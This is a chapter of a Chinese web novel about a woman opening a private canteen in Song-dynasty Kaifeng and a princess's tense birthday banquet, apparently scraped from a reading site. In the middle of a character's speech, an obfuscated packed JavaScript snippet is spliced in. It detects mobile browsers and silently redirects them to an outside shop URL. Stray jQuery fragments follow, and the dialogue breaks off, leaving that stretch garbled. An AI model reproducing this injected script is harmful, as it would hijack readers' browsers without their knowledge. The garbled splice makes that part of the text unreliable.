文趣网 > 其他小说 > 汴京小食堂(美食) > 11. 梨花白
    昨夜刚下过一场绵绵春雨,打在菱花窗上没有一点动静,过了一夜,仅剩下地面残存的一点积水表明这场雨确实来过。

    田文瀛家住两坊之外,每日上值要跃拱桥、穿御街,光路上要耽搁小半个时辰。

    天际泛着蛋壳青,田文瀛便牵着一匹枣红色驽马出了家门,油纸裹着的胡饼卷着齑菜,在胸口处微微发热,驱散了清早的寒气。

    城门刚开,城外送菜的是头一批挤进来的,驴车哒哒穿梭在城中。沿街商铺大门紧闭,路上游荡着几个魂不守舍的行人。

    更夫从小巷中穿行而过,眼角余光瞥见不远处有块儿挂着红绸的招牌,懒得回头观望,径直往前走去。

    “五更天!”

    似乎是被淋了一夜,那块儿红绸亮得吓人,大老远就吸引到田文瀛的注意。

    走近一瞧,并非是淋湿的红绸,而是那店家别出心裁的在红绸上刷了一道清漆,既足够亮眼,又将招牌挡得严严实实。

    田文瀛勒停了马,停在门前细细思索。

    此处背靠浚仪桥,距离开封府府衙后门脚程不过一盏茶的功夫,先前是个生意一般的脚店,卖些索饼、炊饼,如今……

    田文瀛脑海中忽然闪过四个字——民营食堂。

    “这位相公。”

    光顾着思索“民营食堂”四个字到底是何意,不知何时脚店的门已然开了。

    田文瀛循声看去,一身穿青绿窄袖褙子、单髻包帕头的小娘子正挎着篮子、仰脸对着他笑。

    小娘子不过双十年华,打扮得格外素雅,可周身气度不凡、举止落落大方,是个干脆利落的俏生模样。

    田文瀛翻身下马,拱手行礼:“小娘子有何贵干?”

    林夏掩唇轻笑,随后从盖了蓝布的筐里摸出两枚温热的卤鸡子,包在帕子中递了过去。

    若是有心观察,那质地并不算上乘的帕子角落里绣着一个小小的“食”字,素色底、雪青色丝线锁边,倒也别有一番雅致在其中。

    “相公莫嫌弃。”林夏唇角微扬,眼眸灿若星辰,“小店下月初三正式开张,到场嘉宾均送薄酒一壶,还望相公赏脸。”

    田文瀛迭声答应,端着帕子飘飘然走进开封府衙,差点被后院不平的青石板绊倒,这才回神。

    他掀开帕子,瞧着黑乎乎的卤鸡子有几分眼熟。

    恰好崔伯夷有事寻他,推门进来,便见同僚对着两枚卤鸡子发呆。

    “文瀛兄,怎么还不信邪呢?这玩意儿不好吃!”

    崔伯夷最近可被茶香卤鸡子给害惨了,仲文那熊孩子光会喊叫要吃,却说不出个所以然,到最后只能全家人都陪着吃卤鸡子,吃得他打嗝都是卤鸡子的味儿。

    田文瀛摇头,“且慢。”

    他拿起一枚,在桌面上轻磕几下,蛋壳被轻松取下。手中的卤鸡子还热着,幽幽的酱香带着肉香让人食欲大开。

    一口咬下去,蛋白的柔韧弹牙、蛋黄的绵软细腻,和茶叶的香气完美交融在一处。

    崔伯夷看他反应不对,眼疾手快抢过另一枚卤鸡子,仗着自己多日勤加练习出来的剥壳手法,抢先一步吞下另一枚。

    “嗯!”崔伯夷眼睛亮了,“文瀛兄,这是嫂夫人做的?”

    田文瀛瞪了他一眼,没好气道:“后门那块儿开了家食肆,叫什么……民营食堂,他们家卖的。”

    崔伯夷一拍大腿,“我今日就去买上二十枚,让家弟一口气吃个够!”

    另一头,给众人打了样的林夏挎着篮子,施施然回到店里。

    “学会了吗?”

    两大两小一齐点头,“学会了。”

    “可是掌柜的,”小平还下意识去挠头,摸到光秃秃的脑门才意识到自己没头发了,只好低下头赧然道:“万一,万一有那二皮脸,吃了还要怎么办?”

    小平这孩子也是个实心眼儿,从天香楼出来后,特意掏钱去香水行好好搓洗了一番,又怕林夏嫌弃,干脆将头发剃了,如今正顶着一头鸦青色的初生毛茬。

    “按我的想法,我们要在一开始就判断此人的……消费力。”林夏冲姜娘子眨眨眼,穿着打扮,这可是姜娘子的老本行。

    姜娘子拿了几样简单的看人识物的本事交代给众人,怎么分辨布料、绣工的好坏,怎么看那人是来往客商还是附近百姓,穿什么样的衣服、戴什么样的首饰,这可都是学问。

    小平听得云里雾里,林夏只好把阿玉分给他打下手。

    几人拿好卤鸡子和绣了民营食堂标识的帕子,分散到附近主街。

    主意自然是林夏想的。

    一朝人有一朝人要领的鸡蛋,宋朝人也得给她领鸡蛋去!至于帕子就更简单了,哪个高端饭馆、平价饭店不做几样牙签、抽纸一类的易耗品?

    不光这些,碗碟杯盏都是林夏找林观海画了花样、写了字送去烧的。

    唯一的缺点便是贵,但林夏表示理解,毕竟无论什么朝代,玩私人订制都不便宜。

    离正式开业尚有一周的功夫,林夏却不打算歇着,她既然要开食堂,就不能将眼光只局限于开封府、太常寺这几处官衙。

    食肆背后便是浚怡桥,那里有汴京城数量最多、规模最庞大的一群务工人员——脚夫。

    第一个小目标,开业前至少拿下一家行帮的长期合作!

    -

    早春时节,夜风仍带着几分凉意。

    公主府中暖阁里挪出的花木早已吐蕊,更有那着急的已经结出了花苞,倒也是一番草木葳蕤的景象。

    公主寿宴自不可马虎。

    府里从午后便开始忙碌,到酉时三刻,凝辉殿前的回廊下已挂起一盏盏琉璃美人宫灯。

    廊下纱帐换了江宁织造局呈上来的质地更轻更透的苏罗,浅碧色底子上绣着海棠,烛光透出来,把整条游廊浸成一汪浮动的春水。

    宴席设在凝辉殿中,除府中三位主人外,并无外客到场,但仆妇无一人敢怠慢,每样器具都是查了又查、看了又看,生怕有半分疏漏。

    天光彻底暗下去时,公主才从殿内出来,驸马紧随其后,两人面色凝重,尤其是驸马,垂着脑袋,似乎很不得意。

    公主今日着了件丁香色缠枝牡丹褙子,裙裾扫过门槛,上下翻飞间,衣料上的绣样栩栩如生,如落英缤纷。

    顾甫之立在殿外,躬身行礼,着月白衫、束发戴玉冠,端的是一副天人模样,怀中抱了把古琴,想来是送给公主的生辰礼。

    可长宁今日见了儿子,二话不说就开骂:“你都把澄明关了多久了?难不成打算关到上巳节吗?澄明可是你表弟!”

    戚澄明正是前些日子当街纵马的那位勋贵子弟,亦是顾甫之姨母、当朝三公主之子。三公主与当今圣上并非一母同胞,但官家兄弟姐妹不多,因此也算个能在御前说得上话的人。

    顾甫之揖手:“儿秉公办理,事事皆依《宋刑统》,并无半分偏颇。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17613190|206027||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ”

    长宁看儿子那副软硬不吃的嘴脸,一肚子火无处撒,只能乜了眼驸马,让他出马。

    “坐下说。”顾继章继续老好人做派,打断二人剑拔弩张的气氛,“都是一家人,这么好的日子,生什么气?”

    虽律法中严令禁止当街纵马之举,但戚澄明当街纵马,只不过掀翻了几处摊子,并未伤人,此事可大可小。

    不巧的是,这件案子偏偏落到了顾甫之手里。

    顾继章一抬手,仆妇鱼贯而入,乐师抚琴弄笛,袅袅乐音吹散了殿内的凝重。

    头道是糟鹅掌,搁在冰鉴里镇过,如琥珀般晶莹剔透。接着是酿春笋、清蒸鲥鱼、炸鹌鹑等几道时令菜,鲥鱼不刮鳞,半透明的细鳞下鱼肉凝润如玉,筷子一拨便化了。

    长宁公主只尝了一口便搁下箸,怕腥气冲了衣上的熏香。

    顾继章率先举杯:“今日公主寿辰,臣祝公主永膺多福,长发其祥。”

    顾甫之随之举杯:“儿祝母亲萱堂日永,兰殿风清。”

    长宁脸上终于露出些许笑颜。

    最后上的是几道公主喜欢吃的老菜色,烩鹿筋、烩海参。年年吃,长宁公主闻着味道都嫌烦,她捏了捏眉心,直接摆手让侍女撤掉了这两道。

    顾甫之见状,面色有些难看,但归根结底是他对父母喜好不甚关心,是为人子女的过错。

    而后是一盏缠枝纹小碟被送到长宁面前,里头搁了两个杏子大小的包子,说包子不太恰当,说角子也不对,样子……倒像贝壳。

    最令人称奇的是,那东西透明的外皮之下,橙红、翠绿、乌黑、雪白等诸多颜色掺杂在一起,看得人食指大动。

    挟起一枚,细细咀嚼,香气四溢、油润多汁,咽下后,口中竟无一丝虾肉的腥气。

    “此物名曰玲珑角。”顾甫之说:“乃天香楼特意为母亲寿宴所做。”

    “天香楼?”长宁颇觉意外,如今闺中密友多去樊楼或会仙楼,早把天香楼这等不入流的抛在脑后了。

    没想到一小小酒楼还能记挂着她,纵使知道有巴结她的意图在,可长宁仍觉得心情畅快,让身边嬷嬷赏此次寿宴天香楼派来的厨子。

    “是四郎有心了,”长宁莞尔一笑,“母亲很多年未吃到过这种新鲜玩意儿了,过些日子官家寿宴,本宫觉得此物可进献给皇上。”

    顾甫之起身行礼:“母亲此言是天香楼莫大的荣耀。”

    料想母子二人感情正浓,顾继章喝下一杯梨花白,硬着头皮把话题重新转回戚澄明。

    “于城内街巷及人众中,无故走车马者,笞五十。”顾继章讪讪笑道:“要不……让澄明挨几板子就算了?”

    “顾继章!”长宁拂然起身,“你们父子俩是不是要气死我?我是不是连自己儿子都管不了?”

    此言一出,仆妇皆瑟缩躲藏,俯身叩首,公主气得语无伦次,连“本宫”都不称了。

    顾甫之直视长宁,不卑不亢:“母亲,儿并非故意为难,是那戚澄明并非初犯,若是轻易绕过,律法何在、公理何在?”

    长宁公主气血上涌,脑中眩晕难忍,忽眼前一黑,摇摇向后倒去。嬷嬷眼疾手快上前扶着她,还未开口相劝,小郎君再次火上浇油。

    “儿此次并非故意羁押戚澄明。”顾甫之昂首正色,“儿要向官家进言,褫夺戚澄明世子之位以儆效尤!”

    话音刚落,只听嬷嬷声嘶力竭:“公主晕过去了——”